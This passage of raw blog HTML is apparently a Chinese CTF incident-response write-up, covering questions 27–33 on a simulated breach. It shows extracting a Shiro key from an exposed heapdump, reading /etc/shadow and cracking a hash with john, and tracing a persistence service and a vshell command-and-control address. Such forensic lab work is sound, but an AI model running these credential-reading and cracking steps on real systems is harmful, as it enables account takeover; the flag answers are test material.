lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"743\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-539-1024x743.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-863\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{np85qqde.requestrepo.com}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">27.\u63d0\u4ea4\u5bfb\u627e\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u7aef\u53e3\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5728WAF\u4e2d<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-540-1024x668.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"668\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-540-1024x668.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-864\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fc7\u6ee4\u672a\u62e6\u622a\u7684\u53cd\u5e8f\u5217\u5316 \u53ea\u6709\u8fd9\u4e00\u4e2a\u54cd\u5e94\u62a5\u6587\u662f302\u6240\u4ee5\u7aef\u53e3\u5c31\u662f\u8fd9\u4e2a<\/p>\n\n\n\n<p>\u6216\u8005\u662f\u76f4\u63a5\u770b\u8fd9\u4e2a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-541-1024x596.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"596\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-541-1024x596.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-865\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6d77\u5eb7\u7684\u7efc\u5408\u5b89\u9632\u5e73\u53f0\u5c31\u4e00\u76f4\u62a5\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u6240\u4ee5\u5c1d\u8bd5\u63d0\u4ea49999\u7aef\u53e3\u6240\u4ee5\u5c31\u662f\u4e86<\/p>\n\n\n\n<p>palu{9999}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">28.\u63d0\u4ea4web\u670d\u52a1\u6cc4\u9732\u7684\u5bc6\u94a5\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8ddf\u7740\u4e0a\u4e00\u989827<\/p>\n\n\n\n<p>\u626b\u63cf\u4e00\u4e0b192.168.20.103:9999<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-542-1024x386.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"386\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-542-1024x386.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-866\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u626b\u63cf\u9664\u4e86shiro\u6846\u67b6\u7136\u540e\u53c8\u6709heapdump\uff0c\u53ef\u4ee5\u901a\u8fc7heapdump\u62ff\u5230<br>\u4e86shiro\u7684key\uff0c\u7136\u540e\u6253\u7684shiro\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n<p>\u8bbf\u95eehttp:\/\/192.168.20.103:9999\/actuator\/heapdump\uff0c\u62ff\u5230heapdump<br>\u4f7f\u7528jdumpspider\u63d0\u53d6heapdump\u4e2d\u7684\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-546.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"918\" height=\"44\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-546.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-870\"  sizes=\"auto, (max-width: 918px) 100vw, 918px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-543-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-543-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-867\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u4e86shirokey<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-544.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1018\" height=\"846\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-544.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-868\"  sizes=\"auto, (max-width: 1018px) 100vw, 1018px\" \/><\/div><\/figure>\n\n\n\n<p>QZYysgMYhG6\/CzIJlVpR2g== \u8fd9\u4e2a\u5c31\u662f\u5bc6\u94a5<\/p>\n\n\n\n<p>palu{QZYysgMYhG6\/CzIJlVpR2g==}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">29.\u63d0\u4ea4\u653b\u51fb\u8005\u5f00\u59cb\u653b\u51fb\u7684\u65f6\u95f4\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu[xxxx\/xx\/xx:xx:xx:xx}<\/h2>\n\n\n\n<p>\u5728WAF\u4e2d\u53ef\u4ee5\u627e\u5230192.168.20.103\/9999\u7684 \u8bbf\u95ee\u65e5\u5fd7<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-545-1024x676.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"676\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-545-1024x676.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-869\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-547-1024x660.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"660\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-547-1024x660.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-871\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{2025\/05\/13:16:45:19}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">30\u63d0\u4ea4\u653b\u51fb\u8005\u5728server\u4e2d\u7559\u4e0b\u7684\u8d26\u6237\u5bc6\u7801\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu[username\/password}<\/h2>\n\n\n\n<p>\u8fd4\u56deserver01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/ect\/passwd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-548.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1014\" height=\"770\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-548.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-872\"  sizes=\"auto, (max-width: 1014px) 100vw, 1014px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/shadow<\/code><\/pre>\n\n\n\n<p>\u67e5\u770b\u5bc6\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-549.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1013\" height=\"701\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-549.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-873\"  sizes=\"auto, (max-width: 1013px) 100vw, 1013px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>parloohack:$y$j9T$RlIs4rqy6D2PI46ntcuwZ0$WFD6WgX3XC4zp\/5Y.Jq9yLcfhHK5Rdg6IeDq2Rrl791:20221:0:99999:7:::<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$y$j9T$RlIs4rqy6D2PI46ntcuwZ0$WFD6WgX3XC4zp\/5Y.Jq9yLcfhHK5Rdg6IeDq2Rrl791<\/code><\/pre>\n\n\n\n<p>\u5199\u4e2a1.txt\u5c06\u4e0a\u9762\u7684\u5185\u5bb9\u590d\u5236\u8fc7\u53bb<\/p>\n\n\n\n<p>kali \u91cc\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john -format=crypt 1.txt<\/code><\/pre>\n\n\n\n<p>\u89e3\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-550-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-550-1024x512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-874\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5bc6\u7801\u5c31\u662f123456<\/p>\n\n\n\n<p>palu{parloohack\/123456}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">31.\u63d0\u4ea4\u653b\u51fb\u8005\u7ef4\u6743\u65b9\u6cd5\u7684\u540d\u79f0\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u572830\u9898\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u8fd9\u4e2a\u7528\u6237\u7684\u5bc6\u7801\uff0c\u76f4\u63a5\u767b\u5f55\u8fd9\u4e2a\u8d26\u6237<\/p>\n\n\n\n<p>\u767b\u5f55\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-551-1024x716.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"716\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-551-1024x716.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-875\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>history \u547d\u4ee4\u67e5\u770b\u5386\u53f2<\/p>\n\n\n\n<p>\u5c31\u4f1a\u53d1\u73b0<\/p>\n\n\n\n<p>\u53d1\u73b0\u9ed1\u5ba2\u5199\u4e86\u4e00\u4e2a\u6076\u610f\u7684\u670d\u52a1\uff0c\u5e76\u4e14\u628a\u8fd9\u4e2a\u670d\u52a1\u4f5c\u4e3a\u5f00\u542f\u81ea\u542f\u52a8\uff0c\u662f\u4e00\u79cd\u7ef4\u6743\u65b9\u5f0f<br>palu{parloohack_script.service}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">32.\u63d0\u4ea4\u653b\u51fb\u8005\u7559\u4e0b\u7684\u6728\u9a6cmd5\u540e\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8fd8\u662fparloohack\u7684\u65e5\u5fd7<\/p>\n\n\n\n<p>\u5386\u53f2\u547d\u4ee4<\/p>\n\n\n\n<p>\u53d1\u73b0\u9ed1\u5ba2\u5bf9aa\u8fd9\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8fdb\u884c\u4e86md5\u8bb0\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-552.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"425\" height=\"381\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-552.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-876\"  sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0aa\u5c31\u5728\u5f53\u524d\u6587\u4ef6\u4e0b\uff0c\u4f7f\u7528md5sum\u8fdb\u884c\u52a0\u5bc6\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-553.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"873\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-553.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-877\"  sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/div><\/figure>\n\n\n\n<p>palu{4123940b3911556d4bf79196cc008bf4}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">33.\u63d0\u4ea4\u653b\u51fb\u8005\u7559\u4e0b\u7684\u6eaf\u6e90\u4fe1\u606f\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5728palu 2\u4e2d Parloo\/Skills@02<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-554-1024x454.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"454\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-554-1024x454.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-878\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e09\u53f0pc\u673a\u5668 paloo2\u6709\u4e2a\u8c37\u6b4c\u6d4f\u89c8\u5668<\/p>\n\n\n\n<p>\u67e5\u770b\u4e00\u4e0b\u5386\u53f2\u8bb0\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-555-1024x466.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"466\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-555-1024x466.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-879\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c31\u4f1a\u53d1\u73b0\u4e00\u4e2a\u5916\u8054IP<\/p>\n\n\n\n<p>vshell\uff0c\u9ed1\u5ba2\u65e0\u7591\u4e86\uff0c\u670d\u52a1\u5668\u5730\u5740\u4e5f\u6cc4\u9732\u4e8647.101.218.153<\/p>\n\n\n\n<p>\u5728\u8c37\u6b4c\u6d4f\u89c8\u5668\u91cc\u9762\u8bbe\u7f6e\u5bc6\u7801\u7ba1\u7406\u5668\u53ef\u4ee5\u770b\u5230\u5bc6\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-556-1024x650.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"650\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-556-1024x650.png\" 